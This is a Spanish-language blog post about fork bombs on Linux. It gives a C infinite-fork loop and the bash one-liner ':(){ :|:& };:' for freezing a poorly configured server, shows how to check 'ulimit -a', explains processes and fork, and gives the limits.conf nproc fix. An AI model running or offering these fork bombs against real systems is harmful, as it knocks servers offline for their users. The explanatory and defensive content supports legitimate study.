Bomba fork();

Indagando un poco en como hacer daño a un servidor mal configurado en GNU/ Linux encontré dos formas, la primera es una bomba lógica, la segunda con código en C, me inclino por la segunda. Parece que es complicado, pero no, no lo es. #include main() { /*Bucle infinito de creación de procesos*/ while(900==900) { fork(); } } Con lo anterior causamos que el servidor se pasme. Para saber si nuestro código funcionará como se debe, en la konsola introducimos el cumando: [lyonn@localhost ~]$ ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited max nice (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 7153 max locked memory (kbytes, -l) 32 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 max rt priority (-r) 0 stack size (kbytes, -s) 10240 cpu time (seconds, -t) unlimited max user processes (-u) 7153 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited Como notan, soy un usuario normal. La línea que nos interesa es la de max user processes, la cual dictaminará a cuantos procesos tenemos derecho, sí son muchos o ilimitados ya esta la posibilidad de hacerlo. Ahora sólo falta decir que es lo que hace el código, pero primero debemos entender otras cosas. “Un proceso es un programa en ejecución. • En un núcleo multitarea (i.e. Linux) coexisten varios procesos. • Son independientes entre sí (no comparten memoria). Los hilos son contextos separados de ejecución en un mismo proceso. • Un proceso puede tener varios hilos (puede realizar así varias cosas simultáneamente). • Los hilos de un mismo proceso: comparten variables globales y memoria dinámica (heap). no comparten variables locales (cada uno tiene su propia pila). Un proceso (padre) puede crear procesos (hijos) mediante las llamadas al sistema fork o __clone. fork: En el momento de la llamada a fork el proceso hijo: • es una copia exacta del padre excepto el PID. • tiene las mismas variables y ficheros abiertos. • las variables son independientes (padre e hijo tienen distintas pilas). • los ficheros son compartidos (heredan el descriptor). __clone: permite especificar qué queremos que compartan padre e hijo. • espacio de direccionamiento. • info de control del fs. • descriptores de archivos abiertos. • gestores de señales o PID. compartición máxima = todo menos registros y segmento de pila.” Para más información Pero hay una forma de solucionar esto como administrador: En el fichero /etc/security/limits.conf anexar la siguiente linea: * hard nproc 1000 La otra forma de provocar es con directamente en la shell: :(){ :|:& };: Como ven, la programación es bastante generosa en cuanto a “actividades” que podemos hacer, sólo es cuestion d eimaginar y saber como se hace, no digo que sea fácil, pero es posible. Yo no tomaria lo anterior como programació destructiva, ya que su función es otra, y si empezamos a conocerla por este camino es igual bienvenido, sólo que hay que saber cuando y donde aplicar, y sobre todo, informen al administrador del sistema, así tendran un nuevo reto… saludos Compártelo

You have already tagged this post. Your tags:

Noticia original: CLi-Tec.org

Valid XHTML 1.0 Strict